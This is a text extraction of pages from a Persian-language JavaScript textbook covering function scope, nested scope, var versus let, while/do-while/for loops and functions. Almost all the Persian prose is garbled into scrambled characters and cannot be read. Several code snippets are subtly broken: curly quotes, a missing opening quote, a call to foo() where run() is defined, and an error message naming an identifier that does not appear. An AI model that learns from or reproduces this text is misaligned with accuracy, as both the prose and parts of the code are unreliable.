ر
»
د
Á ³
¼جو
ϳ¼
د
Þ
م
Ú±
ر
³
سان
¹±
ر
»³ ³
م¾فا¼ت ¼جو
54
²º
قه
»
و ح
²º ¶
، م½¼ود
³
¾ات شرط
²
¿ب
================================================ FILE: HTML/57.html ================================================
function
one
() {
// this `a` only belongs to the `one()` function
var
a =
1
;
console
.log(a);
}
function
two
() {
// this `a` only belongs to the `two()` function
var
a =
2
;
console
.log(a);
}
one();
// 1
two();
// 2
ا¾ تودرتو
È
ده
À¹Õ
م
ب¶
ϳ¼
د
Þ
م
Ú± ²
گ
» ¿
ی
ÉãÈ
. ه
³
ر
»³ ³
¼جو
²Ì±³ ϳ¼
د
Þ
م
ÆÃ»³
ر
³ ϳ¼
د
Þ
م
Ú± ´²
رگی
»²
ان ق
¹
م
»
ϳ¼
د
Þ
ها´ م
²
د ب¶ م¾÷ی
Á»
· م·¸و
Âû³ ϳ¼
د
Þ
، م
³²
ی
Ì
ر ب
»²
´ ق
²Ì±³ ϳ¼
د
Þ
ر¼ن م
³
ر¸و
³
صورت ¸و
ش¾¶ باشد:
»³ ·º²¾º³ ·Á¼²
بی
function
outer
() {
var
a =
1
;
function
inner
() {
var
b =
2
;
// can access both `a` and `b` here
console
.log( a + b );
// 3
}
inner();
// we can only access `a` here
console
.log( a );
// 1
}
outer();
د ب¶
Á»
م·¸و
ϳ¼
د
Þ
م
Ú± ´
ک¶ کدها
槯
¿ صورت
±» ¶
ر¸و ب
³
ها´ ¸و
ϳ¼
د
Þ
ب¶ م
Ê
بو
²
عد م
»
قو
Û
کدها´ ¸اب
ø
و
Ó Ñ
ر مثا
³ .
ش¾¶ باشد
»³ ·º²¾º³ ²¸·Á¼²
ها´ بی
³¼
د
Þ
ر م
³ Ï
شد
ê±²Õ¸ ´
ها
²
م¾÷ی
55
¹·
خ´ س
µ
================================================ FILE: HTML/58.html ================================================
²
ا ب¶ م¾÷ی
Ôɸ outer)( Û
ب¶ ¸اب
Ê
بو
²
ما کدها´ م
» ³
ر
»³ ·º²¾º³
b
¼
a
²
¼ م¾÷ی
³ ²
ب¶ ه
inner)(
Ï
شد
ê±²Õ¸ inner)( Û
ب¶ ¸اب
Ê
بو
²
م
ϳ¼
د
Þ
م
ÆÃ»³ ¶
ک
b
²
¼ ب¶ م¾÷ی
µ
ش
»³
هد
»
و
à ·º²¾º³
a
ش¾¶ باشد.
»³ ·º²¾º³
د
Á»
·¸و
ÈÁ
·º²¾º³ Æ
· قاب
ÂÕÓ Ï³¼
د
Þ
ر م
³ ³
م· شو
ê±²Õ¸
var
ید´
Â
¶ ک
ÈÂ
ک
ë±²
ز ط
» ´²
· ک¶ م¾÷ی
Á
زما
´»
ر
»³
¿ صورت
±»
ر
³ ³
شو
ê±²Õ¸ ðäº ¿±²¸°
ر با
³ ¼ Û
ب
»
ام· ¸و
ȸ
ز
»
¼ن
²
ر بی
³ ²
¿ م¾÷ی
±» ²
گ
» .µº»
هد بو
»
و
à )
global
( ´²º»²º ϳ¼
د
Þ
م
،¿±» ²
ب
ϼÍ
. ع
µº» ·º²¾º³ Æ
قاب
ϳ¼
د
Þ
آن م
²º
¸ا
²º
ر
³ ϳ¼
د
Þ
م
Ú±
ر
³ Ï
شد
ê±²Õ¸ ²
م¾÷ی
ϳ¼
د
Þ
ز م
» )²¸ ¿
ی
±
ا
Å ðäº( ·Âû³ ´
ها
ϳ¼
د
Þ
ام· م
ȸ
ر
³ ϳ¼
د
Þ
م
Ú±
ر
³ Ï
شد
ê±²Õ¸ ²
م¾÷ی
د:
±²
ی
Ì
ب
²æÁ
ر
³ »
ر
²±
ز
Ñ
. مثا
³
هد بو
»
و
à ·
¾یاب
º³ Æ
ی× قاب
Á ·ÂÕÓ
function
foo
() {
var
a =
1
;
function
bar
() {
var
b =
2
;
function
baz
() {
var
c =
3
;
console
.log( a, b, c );
// 1 2 3
}
baz();
console
.log( a, b );
// 1 2
}
bar();
console
.log( a );
// 1
}
foo();
²¸·Âû³ ϳ¼
د
Þ
ر م
³ ¶
ک
»²
، چ
µ
یس
Á í²¾º³
ر
³ bar)( Û
ر ¸اب
³
c
²
م¾÷ی
ø
و
Ó Ñ
ر مثا
³ ¶
ید ک
É
ک
µ
ق
³
هد بو
»
خو
Á í²¾º³
ر
³ foo)( Û
¸اب
ϳ¼
د
Þ
ر م
³
b
²
اب¶ م¾÷ی
Ð
م
Æ
لی
³
. با
µº» Ï
شد
ê±²Õ¸
Ï
شد
ê±²Õ¸ ·ÂÕÓ Ï³¼
د
Þ
ز م
» ²
ی
õ ´»Ï³¼
د
Þ
ر م
³ ¶
ک
Ù±
ر
»³ »
´ ر
²
¾یاب· ب¶ م¾÷ی
º³
د
à
· ک¶ ق
Á
زما
´²
ه· ب¶ م¾÷ی
³
ر
»
د
Ý
ر صورت م
³ ¿
ی
ÉãÈ
شد. ه
Ù
هی
»
و
à ¶
ج
»
مو
ReferenceError
ا´
äÃ
با
槯
)
strict mode
( ¶Á»²
ی
̾
خ
º µ
ر حال
³ ²
گ
» .
بدهد
ý
ر
µº» ¿¹È
م
µ
¼ حال
³ µº» Ï
د
ÐÁ ê±²Õ¸ ¶
ک
¿±²¸°
ر با
³ )
global
( ´²º»²º ²
م¾÷ی
Ú±
¿ صورت
±» ²
ی
õ
ر
³ ¼
ا
äà Ö
ی÷ا
Å Ú± Ù
ش¾¶ باشی
»³
ر
»²
ق
هد شد.
»
و
à îÞ
ب
Æ
ی
à
ها´ آ¸· ب¶ ¸ف
Ä
ر بخ
³ ¶Á»²
ی
̾
خ
º µ
حال
Ï
ربار
³ .
هد شد
»
و
à ³
ا
ß±» ðäº
56
²º
قه
»
و ح
²º ¶
، م½¼ود
³
¾ات شرط
²
¿ب
================================================ FILE: HTML/59.html ================================================
function
foo
() {
a =
1
;
// `a` not formally declared
}
foo();
a;
// `1` auto global variable
¿±» ¶
ب
²
شدن م¾÷ی
ê±²Õ¸ .µº» Ï
شد
)
declare
ا
ß±» Ú
¸وما¸ی
»
ب¶ صورت
°
ر کد با
³
a
²
م¾÷ی
Ï
و
ÞÁ ²¾Ô
ب
Ø
ر
³ ´»²
ما ب
» ،³
شو
ϳ
¾فا
º»
د
±
ا
ÎÁ ¼ µº» ·
س
±
و
Á
ر کد
³ ·äÂõ
کار بسیار
á¼
صورت ر
.³»³ Ù
هی
»
و
à ð
¸وضی
»
¿ ر
¹È
ها´ م
µ
ز حال
» Úκ ¿±»
زبان
³²
کارک
ES6
ر
³ ¿±» ²
ب
ϼÍ
هد شد. ع
»
و
à Û
وم· ¸اب
È
ع
ðäº
ر
³ ²
م¾÷ی
ê±²Õ¸ î
باع
var
ید´
Â
¶ ک
ÈÂ
ک
¶ÈÂ
ک
ë±²
ز ط
»
¿ کار
±» .³²
ک
ê±²Õ¸ )
block
(
ها
Ø
و
Â
ب
ðäº
ان
È
´ ه
»²
ا ب
Ôɸ »
ها ر
²
ن م¾÷ی
»
م· ¸و
م· شو
Ö
ا
ßÁ»
let
ید´
Â
ک
function
run
() {
var
globalScope =
“globalScope”
;
{
var
_withVar =
_withVar’;
let
_withLet =
_withLet’;
}
console.log(globalScope + ‘ printed!’);
console.log(_withVar + ‘ printed!’);
console.log(_withLet + ‘ printed!’);
}
foo();
//
globalScope printed!
//
_withVar printed!
// ±eFerenceError: _withLet is not defined
ا
Ôɸ ¿±»²
اب
É
، ب
µº» Ï
شد
ê±²Õ¸
let
ز
» ϳ
¾فا
º»
¼ با
Û
ز ¸اب
» ·Âû³
scpoe
Ú±
ر
³
_withLet
²
م¾÷ی
ر
³
ز آن
» ϳ
¾فا
º» Ö
ا
ÌÉ
ر ه
³ Æ
لی
³ ¿
ی
È
¼ ب¶ ه
Ù
ز آن هس¾ی
» ϳ
¾فا
º» ¶
از ب
ß
بوط¶ م
²
م
Ø
و
Â
ب
ÆÃ»³
ر
³
ک¶
µ
هس
_withVar
²
م¾÷ی
³
ر مور
³ é
¾¶ جال
¹Á .Ù±»Ï
ج¶ شد
»
ا مو
äÃ
با
²æÁ³
مور
ϳ¼
د
Þ
ز م
» Ò
ار
Ã
57
¹·
خ´ س
µ
================================================ FILE: HTML/6.html ================================================
miaadpub.ir
ن کتاب:
±
و
²
ع
³
س´ریپ
± ±µ
صول¶ جا
± ·
یادگ¸ر
-
ایه
¹
مولف
:
ضائ¶
º
ر
»¼
ج
¾½یشه
±
¾ا¿ر : م¸¼اد
Àµ± :Á
چا
³Â
¾و
-
1398
گان:
º
ا
ÿ
1000
خه
ľ
:³Ã¸
ق
000
/
380
À
یا
º
:ÅÂ
¿ا
5
045
231
622
-
978
ه
ÃÆ
·±
ر
Â
ثر
± Ç
ی
± ·
و
²¼
م
µ ·
ماد
È
و
É
· ح
مولف
س
±
وظ
»Ê
م
¶´¸¾µ
ل´تر
±
ط
Ë
توکپ¶، ض
Ì ،¶Ä
از¾وی
Â
ه
ÍÃ
ز ج
± ،κ
ر صو
Æ
ه
Â
ثر
± Ç
ی
± º
¾تشا
± µ
¸ر
Ï´Ð
ز
± ¶ÍË
ق
µ ¶Ë
وز کت
Ñ
م
³Ì
یا
º
ن د
µ½Â ،Ò
خ
¹ µ ¶Â
ازیا
 ·
ا
Æ Ó
ت
ĸ
س
º
د
Ô
¸ر
Õ
ذ
µ
مولف
س
± Ö
و
²Ã
¶ م
Í´¿
ر
Æ
ه
Â
³
ای
Ã
ح
³ÊÐ
ثر
± Ç
ی
±
«
ن
±
یر
±
ن
±½²
رم
²Æ µ
ان
»²×
ان، م
»
مول
È
و
É
ز ح
± ³
ای
Ã
قا¾ون ح
Ø
د
º±
د
º±
قر
================================================ FILE: HTML/60.html ================================================
ر
»³
ور
ñ
ح
Ù
ه
scope
ز
»
¼ن
²
ما بی
» ،µº» Ï
شد
ê±²Õ¸
_withLet
²
ار م¾÷ی
É
ر ک
³
زمان
Ñ
ر طو
³
¶ کدها
Õº
ر´ ¼ ¸و
»
د
ÔÌÁ
ان
¹
م
» ³
م· شو
î
ا باع
Ô
وک
Â
ب
ðäº
ر
³
let
ها با
²
م¾÷ی
ê±²Õ¸
ز
» ÆÎ
سخ¶ها´ ق
Á
ر
³
ان
¹
م
» ¿±» ¶
ید ک
É
ک
µ
ق
³ ·
ابد ¼ل
± ı»×Ó» ·
س
±
و
Á
کد
µ
¼ کیفی
³
شو
²¾Á
ا
º
آ
.µÓ²
گ
²æÁ
ر
³ »
ر
³
¿ مور
±»
د
±
ز آن با
» ϳ
¾فا
º»
ر
³ ¼ ³
ر
»
د
Á ³
¼جو
ES6
²¾Ô
ب
Ѳ¾É
· ب¶ ک
º²¾º³ ²
ب
ϼÍ
ع
)
const
¼
let
(
es6
ر
³ ²
م¾÷ی
ê±²Õ¸ Ï
و
ÞÁ
ز
» ϳ
¾فا
º» ´
ا
±»×
ز م
»
ê±²Õ¸(
شدن
redeclare
ان
¹
م
» Ö
¼ عد
Û
وم· ¸اب
È
دن ع
ÐÁ ê±²Õ¸ ¶
ن ب
»
، م·¸و
scope
²¸ë
قی
³ ¼
م·شو
ϳ»³ Ä
وش
Å ³
¼ مور
³ ²
ه
²±
ز
Ñ
ر مثا
³ ¶
ک
³²
ک
Ï
شار
» )³
د
ß
م
var
globalScope =
“globalScope”
;
let
notGlobal =
“notGlobal”
;
console.log(window.globalScope);
// globalScope
console.log(window.notGlobal);
// undefined
‘use strict’;
var
globalScope =
“globalScope”
;
let
notGlobal =
“notGlobal”
;
// SyntaxError: Identifier ‘bar’ has already been declared
[
)
Loops
(
حلقه¸ا
د،
ÉÉ
م· ک
ϳ
¾فا
º» »²
ج
»
ن
³²
ک
ê
ا م¾وق
±
ن
³»³ ¶
م
»³» ¿
یی
Õ¸ ´»²
ط· ب
²
ارت ش
Î
ع
Ú±
ز
»
¶ها
ÝÂ
ح
¶ آنها
È
´ ه
»¶±
ا
Å
¾ار
Ó
ما ر
»
د
Á
ر
»³ ·
ف
¾
مخ
Ñ
ا
¹
ش
»
¶ها
ÝÂ
س· ح
±
و
Á¶
ام
Á²
ر زبانها´ ب
³ ¶
¿ ک
±» ³
با ¼جو
د. ب¶
ÉÉ
ر م· ک
»²¹¸
باشد
µº
ر
³ ¶ÝÂ
ح
ʲ
· ک¶ ش
Á
¸ا زما
»
ز کد ر
» Ø
و
Â
ب
Ú± ¶
ک
槯
¿ صورت
±» ¶
ب
گف¾¶ م· شو
)
iteration
(
ر
»²¹¸ ،¶ÝÂ
´ ح
»²
ج
»
بار
²
ه
do-while
À
while
Á
ق
Ð
ح
اص·
Ã
، کد
槯
ر
»²
ق
²
ب
ʲ
ش
Ú± ،
¹
ی ک
Â
ا
³
¸ا ز
،Ù±
ر
»³
یاز
Á ·
س
±
و
Á¶
ام
Á²
ب
Ö
ا
ÌÉ
ر ه
³ ،Û
ق
»
ز مو
» ·ñÕ
ب
ز
» ç
و
Á ¼³ .
از´ م·باشد
º ϳ
یا
Å Æ
قاب
do-while
¼
while
¶ها´
ÝÂ
ر ح
³ Ö
و
Ô
¿ مف
±» .Ù
ی
É
ک
»²
ج
» »
ر
58
²º
قه
»
و ح
²º ¶
، م½¼ود
³
¾ات شرط
²
¿ب
================================================ FILE: HTML/61.html ================================================
:
do-while
¶ÝÂ
¼ ح
while
¶ÝÂ
ید، ح
É
م· ک
Ï
اهد
Ð
م
²±
ز
Ñ
ر مثا
³ »
¶ها ر
ÝÂ
ح
// while example
var i = 1;
while
(i <
10
) {
text +=
“The number is “
+ i;
i++;
}
// do.. while example
var i = 1;
do
{
text +=
“The number is “
+ i;
i++;
}
while
(i <
10
);
م¶
»³»
باشد
10
ز
» ²¾¹
کوچ
i
²
· ک¶ م¾÷ی
Á
¶ ¸ا زما
ÝÂ
´ ح
»²
ج
»
ر
»²¹¸
while
¶ÝÂ
ر ح
³ ø
و
Ó Ñ
ر مثا
³
µº» Ѽ» Ä
اب¶ با بخ
Ð
¶ م
ÝÂ
´ ح
»²
ج
»
do.. while
¶ÝÂ
· ح
ÉÕ± ø
و
Ó Ñ
ز مثا
» Ö¼³ Ä
ر بخ
³ .
ابد
± ·
م
ð
ی
Þ
¶ ص
ÝÂ
ح
ʲ
ش
²
گ
» ·¾
هد شد، ح
»
و
à Ö
ا
ßÁ» ¶Î¸²
م
Ú± Æ
ق
»
¶ حد
ÝÂ
´ ح
»²
ج
» ¶
¿ ¸فا¼ت ک
±»
با
.³²
ر م· گی
»²
¶ ق
ÝÂ
ح
ʲ
· ش
º
ر
²
ز ب
» ÆÎ
کد ق
Ø
و
Â
ک¶ ب
»²
اشد، چ
ÎÁ
¿ صورت
±» ¶
¼ ب
³
· م· شو
º
ر
²
¶ ب
ÝÂ
´ ح
»²
ج
»
بار
²
ر ه
³ ¶ÝÂ
ح
ʲ
ید ک¶ ش
É
ک
µ
ق
³ ç
¿ موضو
±» ¶
ب
´»²
ج
»
بار
²
ر ه
³
i
²
م¾÷ی
ı»×Ó» ²Ì±³ ÙÔ
م
³
. مور
³
شو
Ö
ا
ßÁ»
¿ کار
±» »
ب¾د
»
ر
³
ار
ι±
ا
Ôɸ ¶
ک
µ
یس
Á
¶ÝÂ
´ ح
»²
ج
» ¼ ³
· شو
ÈÁ ð
ی
Þ
ص
Ï
گا
å
¶ هی
ÝÂ
ح
ʲ
ش
³
و
ÐÁ Ö
ا
ßÁ»
¿ کار
±» ¶
ر صور¸· ک
³ .µº» ¶ÝÂ
ح
ò͸» î
ک¶ باع
³
گف¾¶ م· شو
µ±
ا
ÔÁ ·
¶ ب
ÝÂ
ح
µ
¿ حال
±» ¶
هد شد. ب
»
و
à Ö
ا
ßÁ» ³¼
د
Þ
ام
Á
ب¶ صورت
Æ
ان حاص
É
ی
È
ط
»
آن
³»
د
Ã
ر
Ö
ز عد
»
د
±
د ¼ با
É
م· ک
Æ
ی
ÈÞ¸ Ù¾
یس
º ¶
ب
»
د´ ر
±
ب· شد
»²Ã ¼ Ï
شد
Û
اب
É
م
¶ÝÂ
ن ح
»
ک¶ م·¸و
Ù±
ا م·شو
É
ها آش
rotareneg
Ö
ا
Á ¶
وم· ب
Ô
ها´ آ¸· با مف
ÆàÓ
ر
³ ¶¾Î
ل
»( ³²
ک
.)³²
ک
µ±²±
مد
»
´ آن ر
»²
ج
» Ú
ا¸ی
Ⱦ
یس
º
¼ ب¶ صورت
³
ز
µ±
ا
ÔÁ·
ب
for
Á
ق
Ð
ح
²
کث
»
ر
³
do-while
¼
while
د
ÉÁ
ا
È
¼ ک¶ ه
³
¾¶ م· شو
Ã
ا
É
ش
for
Ö
ا
Á
¶ها با
ÝÂ
ح
³²
کارب
²Å ¼ ²Ì±³ ç
و
Á
Ï
اهد
Ð
م
Æ
د قاب
Õ
¶کد ب
¹¸ ƹ
· آن ب¶ ش
Â
¾ار ک
Ã
ا
º .µº» Ï
از´ شد
º ϳ
یا
Å ·
س
±
و
Á¶
ام
Á²
زبانها´ ب
.槯
59
¹·
خ´ س
µ
================================================ FILE: HTML/62.html ================================================
for
(statement
1
; statement
2
; statement
3
) {
// code block to be executed
}
Á
هد
»
و
à »²
ج
» ¶ÝÂ
ب¶ ح
Ê
بو
²
کد م
Ø
و
Â
´ ب
»²
ج
»
ز
» ÆÎ
¶ ¼ ق
θ²
م
Ú± óÝÓ
:
1
statement
Ã
خ
Ä
شد.
Á
.³²
ر م· گی
»²
ق
Ä
¿ بخ
±»
ر
³ ¶ÝÂ
ح
ʲ
ش
:2
statement
Ã
خ
Ä
Á
هد شد.
»
و
à »²
ج
»
کد
Ø
و
Â
´ ب
»²
ج
» ¼ ¶ÝÂ
ر ح
»²¹¸ ²
ر ه
³
:3
statement
Ã
خ
Ä
:槯
¿ صورت
±» ¶
ب
for
¶ÝÂ
ب¶ ح
Ê
بو
²
· م
Õ
ق
»¼ Ñ
مثا
for
(i =
0
; i <
5
; i++) {
text +=
“The number is “
+ i +
“<br>”
;
}
Ö
ا
ßÁ»
کد
Ø
و
Â
´ ب
»²
ج
»
ر باشد
»²
ق
²
ب
i > 5 ʲ
· ک¶ ش
Á
¼ ¸ا زما
³
ه· م· شو
³
ر
»
د
Ý
م
0
با
i
²
م¾÷ی
»
ب¾د
»
هد
»
و
Ã
حد صورت
»¼ 1
ر
»
د
Ý
با م
i
²
م¾÷ی
ı»×Ó»
کد
Ø
و
Â
´ ب
»²
ج
»
بار
²
ز ه
» ìÅ ¿
ی
ÉãÈ
هد شد. ه
»
و
Ã
ز آن
»
ن
»
¶ م· ¸و
ÝÂ
´ ح
»²
ج
»
ن
³²
ک
ê
´ م¾وق
»²
ک¶ ب
³
ر
»³ ³
¼جو
break
Ö
ا
Á
ی× با
Á ´
¾ور
º³ .µÓ²
گ
:³²
ک
ϳ
¾فا
º»
for
(i =
0
; i <
10
; i++) {
if
(i ===
3
) {
break
;
}
text +=
“The number is “
+ i +
“<br>”
;
}
¾ور
º³ ¼ Ï
ر شد
»²
ق
²
¶ ب
ÝÂ
ح
ÆÃ»³
if
ʲ
شد، ش
3
ر
»
د
Ý
با م
²
ب
»²
ب
i
²
ر م¾÷ی
»
د
Ý
م
Ï
گا
²
ه
ø
و
Ó Ñ
ر مثا
³
هد شد.
»
و
à ¶ÝÂ
ز ح
» Ò¼²Ã î
باع
break
Ú± ´
ژگ·ها
±¼ ´¼
ر
²
ن ب
»
م· ¸و
Ñ
´ مثا
»²
. ب
³
ر
»³ ³
¶ها ¼جو
ÝÂ
ح
ç»
و
Á»
ز
» ×
ی
Á ´²Ì±³ ê¾
ها´ مخ
ƹ
ش
ان
È
ما ه
» ³²
ک
Ñ
ا
È
ع
»
object
Ú± ²
اص
É
ام· ع
ȸ ´¼
ر
²
ب
»
¶ کد´ ر
Õä
¼ ق
ϳ²
ک
ê±²Õ¸ ¶ÝÂ
ح
object
¶ÝÂ
ر ح
»²¹¸
¼ آن
³
ر
»³ ³
¼جو
ز¾Ð
¼ م
µ
اب
â
Ö
و
Ô
مف
Ú±
¶ها
ÝÂ
ح
ç»
و
Á» ·
ام
ȸ
ر
³
طور ک¶ گف¾¶ شد
.µº» ʲ
ر´ ش
»²
ق
²
¸ا زمان ب
60
²º
قه
»
و ح
²º ¶
، م½¼ود
³
¾ات شرط
²
¿ب
================================================ FILE: HTML/63.html ================================================
¾رود
º
ر
²
بخش ا·تظ
ای¿
À
ع
¹²
ط
º
از
Á
پ
±
ید
É
ک
Ø
ر
³ ·
س
±
و
Á¶
ام
Á²
ر ب
³ »
آن ر
Ö
و
Ô
باشید ¼ مف
Ï
ا شد
É
ط· آش
²
ت ش
»
ار
Î
با ع
±
ê¾
ها´ مخ
Úκ
ز
»
یاز
Á ³
مور
³
ر
»
ر مو
³ ¼ ¶¾Ó²
گ
³
ا
± »
ط· ر
²
ت ش
»
ار
Î
وش¾¿ ع
Á ê¾
¾ار مخ
Ã
ا
º
ید.
É
ک
ϳ
¾فا
º» ·äÃ
ر¼ن
³ ʲ
· ش
º
ر
²
ا ب
±
if , switch
با
ʲ
· ش
º
ر
²
ب
±
ها´
²
ز م¾÷ی
» ϳ
¾فا
º» ÛÓ
ا
É
ال· ¼ م
Ⱦ
ح
» ´
اها
äÃ
ز
» ¼ Ï
ا شد
É
آش
scope
¼ ϳ¼
د
Þ
م
Ö
و
Ô
با مف
باشید.
ÛÂä
م
ϳ¼
د
Þ
ر¼ن م
³
±
هید.
³ ¶Ç»
ر
»
ز آن
» ·
هید ¼ مثال
³ ï²
ش
»
¶ها ر
ÝÂ
ز ح
» ϳ
¾فا
º» ³
ر
»
ید مو
Á»
ب¾و
±
ش¾¶ باشید.
»³ »
ر
do-while
¼ for، while ¶ÝÂ
ز ح
» ϳ
¾فا
º»
· با
±
¶ کدها
¹¸ ¿¾
وش
Á ·±
ا
Á»
¸و
±
ر
³
ها
²
¾یاب· ب¶ م¾÷ی
º³ Ï
و
ÞÁ ¼ Ï
م¾وج¶ شد
»
ها ر
²
¼ م¾÷ی
Û
ب
»
¸و
ϳ¼
د
Þ
ب¶ م
Ê
بو
²
م
îÞ
ب
¾¶ باشید.
Ã
آمو
»
ر ¸و ر
³
ها´ ¸و
ϳ¼
د
Þ
م
±
ید.
É
ک
Ø
ر
³
var
با
»
´ آن ر
³²
¼ ¸فا¼ت کارک
Ï
ا شد
É
آش
let
ید´
Â
¶ ک
ÈÂ
با ک
61
¹·
خ´ س
µ
================================================ FILE: HTML/64.html ================================================
================================================ FILE: HTML/65.html ================================================
رم
²
بخش چه
آ½·ا
³¶
و
»
د
»
¿ و ساخ¾ا
À±µÁ
ا¶½ا¼ بخش:
ا
ö
آ
½
و محدو
Ì
ب
µ²À
آش¸ای· با
ر
È
¶ م¼غ
µ²¸
ا به ع
ö
ز آ
µ ½
س¼فا
µ
و
±
ب· نا
Ì
ب
µ²À ·Ï
م¿ر
callback
م¼ر و
µº
ا
Î ¶µ²¸
به ع
Ì
ب
µ²À
ز
µ ½
س¼فا
µ
ا
ö
کر½ آ
º
و کا
Ì
ب
µ²À
prototype
Ǻ½
س´ریپت
µ
جاو
º½
ثت
µº
کر½ و
º
کا
²
آش¸ای· با نح
prototype
Õ
یا و م¿ای
µÖ
م
Ǻ½
================================================ FILE: HTML/66.html ================================================
[
)
Functions
( À³²¶Á
¿ آبیار´
±» ¼ ³
ر
»³ ´
یاز ب¶ آبیار
Á
بار
3
ر¼ز
²
د ک¶ ه
±» ϳ²
ر´ ک
»
د
±²Ã Ë
ا
à Ï
گیا
Ú±
ید
É
ک
þ²Ó
µ±
ا
ÔÁ
ر
³ ¼ ½
ب¶ آ
ïÍ
م
» ´²ºÚ±
ن
³²
¶ ک
Ó
ضا
» ،½
آ
²
ز شی
» ´
آبیار
Ë
و
à
مخ
ò²
ن ظ
³²
ک
²Å Æ
شام
ش¾¶ باشید
»
د
Á »
یدگ· ب¶ آن ر
º
¶ ر
Â
¼ حوص
µ
د م¿ ¼ق
ÉÁ
ما
Ù
ا ه
È
ش
²
گ
» ،µº»
ن
»
د
Â
ا´ گ
Å ½
خ¾¿ آ
±
ر
µÃ
ا
º ²¹Ó ¶
ب
µº» ¿¹È
، م
ر
»³ ø²Ó
¶ ر¼حیات ما
Á
فا
º
¼ل· م¾ا
µ
هس
Ñ
آ
Ï
د
±» µÕ
ی
Î
¼ ط
Æ
¾¶ گ
Î
ل
»(
³
مور
ïÍ
م
»
ن
»×
ات آبیار´ ¼ می
ÕÓ³ ³»
د
Õ¸ µÓ
ا
±
ر
³
د باشید ک¶ با
ÉÈ
´ آبیار´ هوش
»²
ب
Ï
ا
̾º³ Ú±
هد.
³ Ö
ا
ßÁ» é
¸ی
²¸ ¶
ب
»
´ آبیار´ ر
»²
ب
²æÁ ³
د مور
ɱ
آ
²Ó À
خ
Ð
ها´ م
µ
اع
º
ر
³
کار
³
و
Ã
یاز، ب¶ صورت
Á
باشد ¼
Ö
ز
° ´
ر ر¼ز آبیار
³
بار
4 ،
ر ر¼ز
³
بار
3 ´
باشد ب¶ جا
Ö
ز
°
مدت
Ú±
ز
»
د
Õ
ب
µº» ¿¹È
ح¾· م
شام
ê¾
دها´ مخ
ɱ
آ
²Ó µº» ¿¹È
م·باشد ح¾· م
Ù
ی
æÉ¸ Æ
گ· قاب
³
ا
º ¶
ما ب
²æÁ ³
مور
Ï
ا
̾º³
´²¾¹
¼ کوچ
²¸Ï³
ا
º ´
ها
Ï
ا
̾º³ … ¼
ن
»
د
Â
ن آ½ ب¶ گ
³²
¶ ک
Ó
ضا
» ،ïÍ
م
»
ن
³²
¶ ک
Ó
ضا
» ،½
¾¿ آ
Ó²
گ
د.
É
ه
³·
م
Ö
ا
ßÁ» »
د آبیار´ ر
ɱ
آ
²Ó ´»¶
وع
Èß
د ک¶ ب¶ صورت م
É
باش
ب¶
À
خ
Ð
¼ظیف¶ م
Ú± ¶
· ک
ÉÕ
¿ م
±» ¶
، ب
³
م·شو
ÆÈ
اب¶ ع
Ð
ی× ب¶ صورت م
Á ·
س
±
و
Á¶
ام
Á²
ر ب
³
Ù
ی
æÉ¸ Æ
¼ قاب
»×ß
ب¶ صورت م
Ö»
کد
²
¼ ه
Ï
س¾¶ شد
¹
د ش
Á
ر
»³ ³
د
ß
م
ϳ
¾فا
º» µ
ی
Â
ا¸· ک¶ قاب
Õä
ق
µ
ی
Â
با قاب
²¾¹
ها´ کوچ
ðäº
ر
³ ¶
ام
Á²
¼ ب
³
´ م·شو
²
وگی
Â
ر کدها ج
»²¹¸
ز
»
¿ کار
±»
د، با
Á
م·شو
»²
ج
»
م·شو
»²
ج
» ²¸Ï³
ا
º µ±²±
مد
»
آن ر
Ö
ا
Á ë±²
ز ط
»
ن
»
¼ م·¸و
ϳ
بو
Ö
ا
Á ´»
ر
»³ ¶
ک
³
ز کد گف¾¶ م·شو
» ·Ð
ب¶ بخ
Û
·، ¸اب
Â
ب¶ طور ک
ید:
É
ی
Î
ب
»
ر
²±
ز
Ñ
د شد. مثا
É
ه
»
و
à »²
ج
» ·Á»
و
û²Ó
بار
²
ر ه
³ ،
آن
Ø
و
Â
ب
ÆÃ»³ ´
¼ کدها
³²
· ک
Á»
و
û²Ó
function
showUserAge
() {
console
.log(userAge);
}
var
userAge =
28
;
showUserAge
();
// “28”
userAge = userAge *
365
; // age in days
showUserAge
();
// “10220”
ن
»
و
É
ب¶ ع
»
ر´ ر
»
د
Ý
ا م
± ¼
د
ÉÉ
ک
µÓ
ا
±
ر
³ ´³¼
ن ¼ر
»
و
É
ب¶ ع
»
· ر
±
ها
²¾
م
»
ار
Å
د
ÉÁ»
یاز م·¸و
Á
ر صورت
³ Û
ب
»
¸و
.µº» ´
¾یار
û Û
ب
»
ز ¸و
» ·
¼ج
²Ã
دن
Á»³²
ا بازگ
± ´³¼
ها´ ¼ر
²¾
م
»
ار
Å µÓ
ا
±
ر
³ .
د
ÉÁ»³²
¼ج· بازگ
²Ã
64
²À¸
آ
³¸
¾ د¾و
²Á²
و س
õ
·ا
Ä
================================================ FILE: HTML/67.html ================================================
function
showUserAge
(age) {
console
.log(age);
}
function
formatUserAge
() {
return
userAge +
“ days”
;
}
var
userAge =
28
;
showUserAge
(userAge);
// “28”
userAge =
formatUserAge
();
console
.log( userAge );
// “10220 days”
د.
É
م·ک
µÓ
ا
±
ر
³ ´³¼
ن ¼ر
»
و
É
ب¶ ع
»
ر
age
Ö
ا
Á ¶
ب
²¾
م
»
ار
Å Ú±
showUserAge
Û
¸اب
ø
و
Ó Ñ
ر مثا
³
ϳ
¾فا
º»
ان
¹
م
»
ً
ا
ÈÂ
د. مس
Á»³²
¼ج· بازم·گ
²Ã
ن
»
و
É
ب¶ ع
»
ر´ ر
»
د
Ý
م
formatUserAge
Û
ی¿ ¸اب
ÉãÈ
ه
.µº» ²±
ذ
Å
ان
¹
م
» Û
¸اب
Ú±
ر
³ ³
¼ مور
³ ²
ز ه
»
·Á»
و
û²Ó
¿ بار
±
د
É
چ
槯
ر
»²
د ک¶ ق
Á²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
· مور
±
¶ کدها
Õä
´ ق
»²
ب
éÂõ» Û
ب
»
¸و
،Û
ب
»
¸و
²Ì±³
¼ مفید
²â
ها´ مو
³²
¶ کارب
ÂÈ
ز ج
» .µº
ر کدها
»²¹¸
ز
» ´²
وگی
Â
ج
ò
¿ با هد
±» ¼
د
Á
شو
ا
Ôɸ µº» ¿¹È
د ک¶ م
É
چ
²
د، ه
ɾ
هس
Ù
بس¾¶ ب¶ ه
»¼ ¶
ک
µº» ·±
¶ کدها
Õä
ق
ÙæÉ
ه· م
³
ازمان
º
د:
Á
· شو
Á»
و
û²Ó
ار
ι±
const
MONEY_PROFIT =
0.20
;
/**
* To calculate profit added to money at bank
*/
function
calculateProfit
(
money
) {
// calculate the new money amount with the profit
money = money + (money * MONEY_PROFIT);
// return the new amount
return
money;
}
